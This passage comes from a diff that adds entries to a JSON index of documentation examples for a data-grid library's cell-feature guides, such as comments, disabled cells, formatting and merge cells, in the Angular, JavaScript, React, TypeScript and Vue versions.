"guides/cell-features/comments/comments.md", + "guideTitle": "Comments", + "exampleId": "example2", + "exampleTitle": "Make a comment read-only", + "docPermalink": "/comments", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/comments/angular/example3.ts", + "file": "guides__cell-features__comments__angular__example3.ts.json", + "breadcrumb": [ + "Cell Features", + "Comments" + ], + "guide": "guides/cell-features/comments/comments.md", + "guideTitle": "Comments", + "exampleId": "example3", + "exampleTitle": "Set a comment box's size", + "docPermalink": "/comments", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/comments/javascript/example3.js", + "file": "guides__cell-features__comments__javascript__example3.js.json", + "breadcrumb": [ + "Cell Features", + "Comments" + ], + "guide": "guides/cell-features/comments/comments.md", + "guideTitle": "Comments", + "exampleId": "example3", + "exampleTitle": "Set a comment box's size", + "docPermalink": "/comments", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/comments/react/example3.tsx", + "file": "guides__cell-features__comments__react__example3.tsx.json", + "breadcrumb": [ + "Cell Features", + "Comments" + ], + "guide": "guides/cell-features/comments/comments.md", + "guideTitle": "Comments", + "exampleId": "example3", + "exampleTitle": "Set a comment box's size", + "docPermalink": "/comments", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/comments/javascript/example3.ts", + "file": "guides__cell-features__comments__javascript__example3.ts.json", + "breadcrumb": [ + "Cell Features", + "Comments" + ], + "guide": "guides/cell-features/comments/comments.md", + "guideTitle": "Comments", + "exampleId": "example3", + "exampleTitle": "Set a comment box's size", + "docPermalink": "/comments", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/comments/vue/example3.vue", + "file": "guides__cell-features__comments__vue__example3.vue.json", + "breadcrumb": [ + "Cell Features", + "Comments" + ], + "guide": "guides/cell-features/comments/comments.md", + "guideTitle": "Comments", + "exampleId": "example3", + "exampleTitle": "Set a comment box's size", + "docPermalink": "/comments", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/comments/angular/example4.ts", + "file": "guides__cell-features__comments__angular__example4.ts.json", + "breadcrumb": [ + "Cell Features", + "Comments" + ], + "guide": "guides/cell-features/comments/comments.md", + "guideTitle": "Comments", + "exampleId": "example4", + "exampleTitle": "Set a delay for displaying comments", + "docPermalink": "/comments", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/comments/javascript/example4.js", + "file": "guides__cell-features__comments__javascript__example4.js.json", + "breadcrumb": [ + "Cell Features", + "Comments" + ], + "guide": "guides/cell-features/comments/comments.md", + "guideTitle": "Comments", + "exampleId": "example4", + "exampleTitle": "Set a delay for displaying comments", + "docPermalink": "/comments", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/comments/react/example4.tsx", + "file": "guides__cell-features__comments__react__example4.tsx.json", + "breadcrumb": [ + "Cell Features", + "Comments" + ], + "guide": "guides/cell-features/comments/comments.md", + "guideTitle": "Comments", + "exampleId": "example4", + "exampleTitle": "Set a delay for displaying comments", + "docPermalink": "/comments", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/comments/javascript/example4.ts", + "file": "guides__cell-features__comments__javascript__example4.ts.json", + "breadcrumb": [ + "Cell Features", + "Comments" + ], + "guide": "guides/cell-features/comments/comments.md", + "guideTitle": "Comments", + "exampleId": "example4", + "exampleTitle": "Set a delay for displaying comments", + "docPermalink": "/comments", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/comments/vue/example4.vue", + "file": "guides__cell-features__comments__vue__example4.vue.json", + "breadcrumb": [ + "Cell Features", + "Comments" + ], + "guide": "guides/cell-features/comments/comments.md", + "guideTitle": "Comments", + "exampleId": "example4", + "exampleTitle": "Set a delay for displaying comments", + "docPermalink": "/comments", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/conditional-formatting/angular/example1.ts", + "file": "guides__cell-features__conditional-formatting__angular__example1.ts.json", + "breadcrumb": [ + "Cell Features", + "Conditional formatting" + ], + "guide": "guides/cell-features/conditional-formatting/conditional-formatting.md", + "guideTitle": "Conditional formatting", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/conditional-formatting", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/conditional-formatting/javascript/example1.js", + "file": "guides__cell-features__conditional-formatting__javascript__example1.js.json", + "breadcrumb": [ + "Cell Features", + "Conditional formatting" + ], + "guide": "guides/cell-features/conditional-formatting/conditional-formatting.md", + "guideTitle": "Conditional formatting", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/conditional-formatting", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/conditional-formatting/react/example1.tsx", + "file": "guides__cell-features__conditional-formatting__react__example1.tsx.json", + "breadcrumb": [ + "Cell Features", + "Conditional formatting" + ], + "guide": "guides/cell-features/conditional-formatting/conditional-formatting.md", + "guideTitle": "Conditional formatting", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/conditional-formatting", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/conditional-formatting/javascript/example1.ts", + "file": "guides__cell-features__conditional-formatting__javascript__example1.ts.json", + "breadcrumb": [ + "Cell Features", + "Conditional formatting" + ], + "guide": "guides/cell-features/conditional-formatting/conditional-formatting.md", + "guideTitle": "Conditional formatting", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/conditional-formatting", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/conditional-formatting/vue/example1.vue", + "file": "guides__cell-features__conditional-formatting__vue__example1.vue.json", + "breadcrumb": [ + "Cell Features", + "Conditional formatting" + ], + "guide": "guides/cell-features/conditional-formatting/conditional-formatting.md", + "guideTitle": "Conditional formatting", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/conditional-formatting", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/disabled-cells/angular/example1.ts", + "file": "guides__cell-features__disabled-cells__angular__example1.ts.json", + "breadcrumb": [ + "Cell Features", + "Disabled cells" + ], + "guide": "guides/cell-features/disabled-cells/disabled-cells.md", + "guideTitle": "Disabled cells", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/disabled-cells", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/disabled-cells/javascript/example1.js", + "file": "guides__cell-features__disabled-cells__javascript__example1.js.json", + "breadcrumb": [ + "Cell Features", + "Disabled cells" + ], + "guide": "guides/cell-features/disabled-cells/disabled-cells.md", + "guideTitle": "Disabled cells", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/disabled-cells", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/disabled-cells/react/example1.tsx", + "file": "guides__cell-features__disabled-cells__react__example1.tsx.json", + "breadcrumb": [ + "Cell Features", + "Disabled cells" + ], + "guide": "guides/cell-features/disabled-cells/disabled-cells.md", + "guideTitle": "Disabled cells", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/disabled-cells", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/disabled-cells/javascript/example1.ts", + "file": "guides__cell-features__disabled-cells__javascript__example1.ts.json", + "breadcrumb": [ + "Cell Features", + "Disabled cells" + ], + "guide": "guides/cell-features/disabled-cells/disabled-cells.md", + "guideTitle": "Disabled cells", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/disabled-cells", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/disabled-cells/vue/example1.vue", + "file": "guides__cell-features__disabled-cells__vue__example1.vue.json", + "breadcrumb": [ + "Cell Features", + "Disabled cells" + ], + "guide": "guides/cell-features/disabled-cells/disabled-cells.md", + "guideTitle": "Disabled cells", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/disabled-cells", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/disabled-cells/angular/example2.ts", + "file": "guides__cell-features__disabled-cells__angular__example2.ts.json", + "breadcrumb": [ + "Cell Features", + "Disabled cells" + ], + "guide": "guides/cell-features/disabled-cells/disabled-cells.md", + "guideTitle": "Disabled cells", + "exampleId": "example2", + "exampleTitle": "To disable a row", + "docPermalink": "/disabled-cells", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/disabled-cells/javascript/example2.js", + "file": "guides__cell-features__disabled-cells__javascript__example2.js.json", + "breadcrumb": [ + "Cell Features", + "Disabled cells" + ], + "guide": "guides/cell-features/disabled-cells/disabled-cells.md", + "guideTitle": "Disabled cells", + "exampleId": "example2", + "exampleTitle": "To disable a row", + "docPermalink": "/disabled-cells", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/disabled-cells/react/example2.tsx", + "file": "guides__cell-features__disabled-cells__react__example2.tsx.json", + "breadcrumb": [ + "Cell Features", + "Disabled cells" + ], + "guide": "guides/cell-features/disabled-cells/disabled-cells.md", + "guideTitle": "Disabled cells", + "exampleId": "example2", + "exampleTitle": "To disable a row", + "docPermalink": "/disabled-cells", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/disabled-cells/javascript/example2.ts", + "file": "guides__cell-features__disabled-cells__javascript__example2.ts.json", + "breadcrumb": [ + "Cell Features", + "Disabled cells" + ], + "guide": "guides/cell-features/disabled-cells/disabled-cells.md", + "guideTitle": "Disabled cells", + "exampleId": "example2", + "exampleTitle": "To disable a row", + "docPermalink": "/disabled-cells", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/disabled-cells/vue/example2.vue", + "file": "guides__cell-features__disabled-cells__vue__example2.vue.json", + "breadcrumb": [ + "Cell Features", + "Disabled cells" + ], + "guide": "guides/cell-features/disabled-cells/disabled-cells.md", + "guideTitle": "Disabled cells", + "exampleId": "example2", + "exampleTitle": "To disable a row", + "docPermalink": "/disabled-cells", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/disabled-cells/angular/example3.ts", + "file": "guides__cell-features__disabled-cells__angular__example3.ts.json", + "breadcrumb": [ + "Cell Features", + "Disabled cells" + ], + "guide": "guides/cell-features/disabled-cells/disabled-cells.md", + "guideTitle": "Disabled cells", + "exampleId": "example3", + "exampleTitle": "To disable a column (non-editable)", + "docPermalink": "/disabled-cells", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/disabled-cells/javascript/example3.js", + "file": "guides__cell-features__disabled-cells__javascript__example3.js.json", + "breadcrumb": [ + "Cell Features", + "Disabled cells" + ], + "guide": "guides/cell-features/disabled-cells/disabled-cells.md", + "guideTitle": "Disabled cells", + "exampleId": "example3", + "exampleTitle": "To disable a column (non-editable)", + "docPermalink": "/disabled-cells", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/disabled-cells/react/example3.tsx", + "file": "guides__cell-features__disabled-cells__react__example3.tsx.json", + "breadcrumb": [ + "Cell Features", + "Disabled cells" + ], + "guide": "guides/cell-features/disabled-cells/disabled-cells.md", + "guideTitle": "Disabled cells", + "exampleId": "example3", + "exampleTitle": "To disable a column (non-editable)", + "docPermalink": "/disabled-cells", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/disabled-cells/javascript/example3.ts", + "file": "guides__cell-features__disabled-cells__javascript__example3.ts.json", + "breadcrumb": [ + "Cell Features", + "Disabled cells" + ], + "guide": "guides/cell-features/disabled-cells/disabled-cells.md", + "guideTitle": "Disabled cells", + "exampleId": "example3", + "exampleTitle": "To disable a column (non-editable)", + "docPermalink": "/disabled-cells", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/disabled-cells/vue/example3.vue", + "file": "guides__cell-features__disabled-cells__vue__example3.vue.json", + "breadcrumb": [ + "Cell Features", + "Disabled cells" + ], + "guide": "guides/cell-features/disabled-cells/disabled-cells.md", + "guideTitle": "Disabled cells", + "exampleId": "example3", + "exampleTitle": "To disable a column (non-editable)", + "docPermalink": "/disabled-cells", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/disabled-cells/angular/example4.ts", + "file": "guides__cell-features__disabled-cells__angular__example4.ts.json", + "breadcrumb": [ + "Cell Features", + "Disabled cells" + ], + "guide": "guides/cell-features/disabled-cells/disabled-cells.md", + "guideTitle": "Disabled cells", + "exampleId": "example4", + "exampleTitle": "To disable a cell (2)", + "docPermalink": "/disabled-cells", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/disabled-cells/javascript/example4.js", + "file": "guides__cell-features__disabled-cells__javascript__example4.js.json", + "breadcrumb": [ + "Cell Features", + "Disabled cells" + ], + "guide": "guides/cell-features/disabled-cells/disabled-cells.md", + "guideTitle": "Disabled cells", + "exampleId": "example4", + "exampleTitle": "To disable a cell (2)", + "docPermalink": "/disabled-cells", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/disabled-cells/react/example4.tsx", + "file": "guides__cell-features__disabled-cells__react__example4.tsx.json", + "breadcrumb": [ + "Cell Features", + "Disabled cells" + ], + "guide": "guides/cell-features/disabled-cells/disabled-cells.md", + "guideTitle": "Disabled cells", + "exampleId": "example4", + "exampleTitle": "To disable a cell (2)", + "docPermalink": "/disabled-cells", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/disabled-cells/javascript/example4.ts", + "file": "guides__cell-features__disabled-cells__javascript__example4.ts.json", + "breadcrumb": [ + "Cell Features", + "Disabled cells" + ], + "guide": "guides/cell-features/disabled-cells/disabled-cells.md", + "guideTitle": "Disabled cells", + "exampleId": "example4", + "exampleTitle": "To disable a cell (2)", + "docPermalink": "/disabled-cells", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/disabled-cells/vue/example4.vue", + "file": "guides__cell-features__disabled-cells__vue__example4.vue.json", + "breadcrumb": [ + "Cell Features", + "Disabled cells" + ], + "guide": "guides/cell-features/disabled-cells/disabled-cells.md", + "guideTitle": "Disabled cells", + "exampleId": "example4", + "exampleTitle": "To disable a cell (2)", + "docPermalink": "/disabled-cells", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/disabled-cells/angular/exampleReadOnlyGrid.ts", + "file": "guides__cell-features__disabled-cells__angular__exampleReadOnlyGrid.ts.json", + "breadcrumb": [ + "Cell Features", + "Disabled cells" + ], + "guide": "guides/cell-features/disabled-cells/disabled-cells.md", + "guideTitle": "Disabled cells", + "exampleId": "exampleReadOnlyGrid", + "exampleTitle": "To disable a cell", + "docPermalink": "/disabled-cells", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/disabled-cells/javascript/exampleReadOnlyGrid.js", + "file": "guides__cell-features__disabled-cells__javascript__exampleReadOnlyGrid.js.json", + "breadcrumb": [ + "Cell Features", + "Disabled cells" + ], + "guide": "guides/cell-features/disabled-cells/disabled-cells.md", + "guideTitle": "Disabled cells", + "exampleId": "exampleReadOnlyGrid", + "exampleTitle": "To disable a cell", + "docPermalink": "/disabled-cells", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/disabled-cells/react/exampleReadOnlyGrid.tsx", + "file": "guides__cell-features__disabled-cells__react__exampleReadOnlyGrid.tsx.json", + "breadcrumb": [ + "Cell Features", + "Disabled cells" + ], + "guide": "guides/cell-features/disabled-cells/disabled-cells.md", + "guideTitle": "Disabled cells", + "exampleId": "exampleReadOnlyGrid", + "exampleTitle": "To disable a cell", + "docPermalink": "/disabled-cells", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/disabled-cells/javascript/exampleReadOnlyGrid.ts", + "file": "guides__cell-features__disabled-cells__javascript__exampleReadOnlyGrid.ts.json", + "breadcrumb": [ + "Cell Features", + "Disabled cells" + ], + "guide": "guides/cell-features/disabled-cells/disabled-cells.md", + "guideTitle": "Disabled cells", + "exampleId": "exampleReadOnlyGrid", + "exampleTitle": "To disable a cell", + "docPermalink": "/disabled-cells", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/disabled-cells/vue/exampleReadOnlyGrid.vue", + "file": "guides__cell-features__disabled-cells__vue__exampleReadOnlyGrid.vue.json", + "breadcrumb": [ + "Cell Features", + "Disabled cells" + ], + "guide": "guides/cell-features/disabled-cells/disabled-cells.md", + "guideTitle": "Disabled cells", + "exampleId": "exampleReadOnlyGrid", + "exampleTitle": "To disable a cell", + "docPermalink": "/disabled-cells", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/formatting-cells/angular/example1.ts", + "file": "guides__cell-features__formatting-cells__angular__example1.ts.json", + "breadcrumb": [ + "Cell Features", + "Formatting cells" + ], + "guide": "guides/cell-features/formatting-cells/formatting-cells.md", + "guideTitle": "Formatting cells", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/formatting-cells", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/formatting-cells/javascript/example1.js", + "file": "guides__cell-features__formatting-cells__javascript__example1.js.json", + "breadcrumb": [ + "Cell Features", + "Formatting cells" + ], + "guide": "guides/cell-features/formatting-cells/formatting-cells.md", + "guideTitle": "Formatting cells", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/formatting-cells", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/formatting-cells/react/example1.tsx", + "file": "guides__cell-features__formatting-cells__react__example1.tsx.json", + "breadcrumb": [ + "Cell Features", + "Formatting cells" + ], + "guide": "guides/cell-features/formatting-cells/formatting-cells.md", + "guideTitle": "Formatting cells", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/formatting-cells", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/formatting-cells/javascript/example1.ts", + "file": "guides__cell-features__formatting-cells__javascript__example1.ts.json", + "breadcrumb": [ + "Cell Features", + "Formatting cells" + ], + "guide": "guides/cell-features/formatting-cells/formatting-cells.md", + "guideTitle": "Formatting cells", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/formatting-cells", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/formatting-cells/vue/example1.vue", + "file": "guides__cell-features__formatting-cells__vue__example1.vue.json", + "breadcrumb": [ + "Cell Features", + "Formatting cells" + ], + "guide": "guides/cell-features/formatting-cells/formatting-cells.md", + "guideTitle": "Formatting cells", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/formatting-cells", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/formatting-cells/angular/example2.ts", + "file": "guides__cell-features__formatting-cells__angular__example2.ts.json", + "breadcrumb": [ + "Cell Features", + "Formatting cells" + ], + "guide": "guides/cell-features/formatting-cells/formatting-cells.md", + "guideTitle": "Formatting cells", + "exampleId": "example2", + "exampleTitle": "Apply inline styles", + "docPermalink": "/formatting-cells", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/formatting-cells/javascript/example2.js", + "file": "guides__cell-features__formatting-cells__javascript__example2.js.json", + "breadcrumb": [ + "Cell Features", + "Formatting cells" + ], + "guide": "guides/cell-features/formatting-cells/formatting-cells.md", + "guideTitle": "Formatting cells", + "exampleId": "example2", + "exampleTitle": "Apply inline styles", + "docPermalink": "/formatting-cells", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/formatting-cells/react/example2.tsx", + "file": "guides__cell-features__formatting-cells__react__example2.tsx.json", + "breadcrumb": [ + "Cell Features", + "Formatting cells" + ], + "guide": "guides/cell-features/formatting-cells/formatting-cells.md", + "guideTitle": "Formatting cells", + "exampleId": "example2", + "exampleTitle": "Apply inline styles", + "docPermalink": "/formatting-cells", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/formatting-cells/javascript/example2.ts", + "file": "guides__cell-features__formatting-cells__javascript__example2.ts.json", + "breadcrumb": [ + "Cell Features", + "Formatting cells" + ], + "guide": "guides/cell-features/formatting-cells/formatting-cells.md", + "guideTitle": "Formatting cells", + "exampleId": "example2", + "exampleTitle": "Apply inline styles", + "docPermalink": "/formatting-cells", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/formatting-cells/vue/example2.vue", + "file": "guides__cell-features__formatting-cells__vue__example2.vue.json", + "breadcrumb": [ + "Cell Features", + "Formatting cells" + ], + "guide": "guides/cell-features/formatting-cells/formatting-cells.md", + "guideTitle": "Formatting cells", + "exampleId": "example2", + "exampleTitle": "Apply inline styles", + "docPermalink": "/formatting-cells", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/formatting-cells/angular/example3.ts", + "file": "guides__cell-features__formatting-cells__angular__example3.ts.json", + "breadcrumb": [ + "Cell Features", + "Formatting cells" + ], + "guide": "guides/cell-features/formatting-cells/formatting-cells.md", + "guideTitle": "Formatting cells", + "exampleId": "example3", + "exampleTitle": "Custom cell borders", + "docPermalink": "/formatting-cells", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/formatting-cells/javascript/example3.js", + "file": "guides__cell-features__formatting-cells__javascript__example3.js.json", + "breadcrumb": [ + "Cell Features", + "Formatting cells" + ], + "guide": "guides/cell-features/formatting-cells/formatting-cells.md", + "guideTitle": "Formatting cells", + "exampleId": "example3", + "exampleTitle": "Custom cell borders", + "docPermalink": "/formatting-cells", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/formatting-cells/react/example3.tsx", + "file": "guides__cell-features__formatting-cells__react__example3.tsx.json", + "breadcrumb": [ + "Cell Features", + "Formatting cells" + ], + "guide": "guides/cell-features/formatting-cells/formatting-cells.md", + "guideTitle": "Formatting cells", + "exampleId": "example3", + "exampleTitle": "Custom cell borders", + "docPermalink": "/formatting-cells", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/formatting-cells/javascript/example3.ts", + "file": "guides__cell-features__formatting-cells__javascript__example3.ts.json", + "breadcrumb": [ + "Cell Features", + "Formatting cells" + ], + "guide": "guides/cell-features/formatting-cells/formatting-cells.md", + "guideTitle": "Formatting cells", + "exampleId": "example3", + "exampleTitle": "Custom cell borders", + "docPermalink": "/formatting-cells", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/formatting-cells/vue/example3.vue", + "file": "guides__cell-features__formatting-cells__vue__example3.vue.json", + "breadcrumb": [ + "Cell Features", + "Formatting cells" + ], + "guide": "guides/cell-features/formatting-cells/formatting-cells.md", + "guideTitle": "Formatting cells", + "exampleId": "example3", + "exampleTitle": "Custom cell borders", + "docPermalink": "/formatting-cells", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/merge-cells/angular/example1.ts", + "file": "guides__cell-features__merge-cells__angular__example1.ts.json", + "breadcrumb": [ + "Cell Features", + "Merge cells" + ], + "guide": "guides/cell-features/merge-cells/merge-cells.md", + "guideTitle": "Merge cells", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/merge-cells", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/merge-cells/javascript/example1.js", + "file": "guides__cell-features__merge-cells__javascript__example1.js.json", + "breadcrumb": [ + "Cell Features", + "Merge cells" + ], + "guide": "guides/cell-features/merge-cells/merge-cells.md", + "guideTitle": "Merge cells", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/merge-cells", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/merge-cells/react/example1.tsx", + "file": "guides__cell-features__merge-cells__react__example1.tsx.json", + "breadcrumb": [ + "Cell Features", + "Merge cells" + ], + "guide": "guides/cell-features/merge-cells/merge-cells.md", + "guideTitle": "Merge cells", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/merge-cells", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/merge-cells/javascript/example1.ts", + "file": "guides__cell-features__merge-cells__javascript__example1.ts.json", + "breadcrumb": [ + "Cell Features", + "Merge cells" + ], + "guide": "guides/cell-features/merge-cells/merge-cells.md", + "guideTitle": "Merge cells", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/merge-cells", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/merge-cells/vue/example1.vue", + "file": "guides__cell-features__merge-cells__vue__example1.vue.json", + "breadcrumb": [ + "Cell Features", + "Merge cells" + ], + "guide": "guides/cell-features/merge-cells/merge-cells.md", + "guideTitle": "Merge cells", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/merge-cells", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/merge-cells/angular/example2.ts", + "file": "guides__cell-features__merge-cells__angular__example2.ts.json", + "breadcrumb": [ + "Cell Features", + "Merge cells" + ], + "guide": "guides/cell-features/merge-cells/merge-cells.md", + "guideTitle": "Merge cells", + "exampleId": "example2", + "exampleTitle": "Optimizing rendering of the wide/tall merged cells", + "docPermalink": "/merge-cells", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/merge-cells/javascript/example2.js", + "file": "guides__cell-features__merge-cells__javascript__example2.js.json", + "breadcrumb": [ + "Cell Features", + "Merge cells" + ], + "guide": "guides/cell-features/merge-cells/merge-cells.md", + "guideTitle": "Merge cells", + "exampleId": "example2", + "exampleTitle": "Optimizing rendering of the wide/tall merged cells", + "docPermalink": "/merge-cells", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/merge-cells/react/example2.tsx", + "file": "guides__cell-features__merge-cells__react__example2.tsx.json", + "breadcrumb": [ + "Cell Features", + "Merge cells" + ], + "guide": "guides/cell-features/merge-cells/merge-cells.md", + "guideTitle": "Merge cells", + "exampleId": "example2", + "exampleTitle": "Optimizing rendering of the wide/tall merged cells", + "docPermalink": "/merge-cells", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/merge-cells/javascript/example2.ts", + "file": "guides__cell-features__merge-cells__javascript__example2.ts.json", + "breadcrumb": [ + "Cell Features", + "Merge cells" + ], + "guide": "guides/cell-features/merge-cells/merge-cells.md", + "guideTitle": "Merge cells", + "exampleId": "example2", + "exampleTitle": "Optimizing rendering of the wide/tall merged cells", + "docPermalink": "/merge-cells", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/merge-cells/vue/example2.vue", + "file": "guides__cell-features__merge-cells__vue__example2.vue.json", + "breadcrumb": [ + "Cell Features", + "Merge cells" + ], + "guide": "guides/cell-features/merge-cells/merge-cells.md", + "guideTitle": "Merge cells", + "exampleId": "example2", + "exampleTitle": "Optimizing rendering of the wide/tall merged cells", + "docPermalink": "/merge-cells", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/selection/angular/example1.ts", + "file": "guides__cell-features__selection__angular__example1.ts.json", + "breadcrumb": [ + "Cell Features", + "Selection" + ], + "guide": "guides/cell-features/selection/selection.md", + "guideTitle": "Selection", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/selection", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/selection/javascript/example1.js", + "file": "guides__cell-features__selection__javascript__example1.js.json", + "breadcrumb": [ + "Cell Features", + "Selection" + ], + "guide": "guides/cell-features/selection/selection.md", + "guideTitle": "Selection", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/selection", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/selection/react/example1.tsx", + 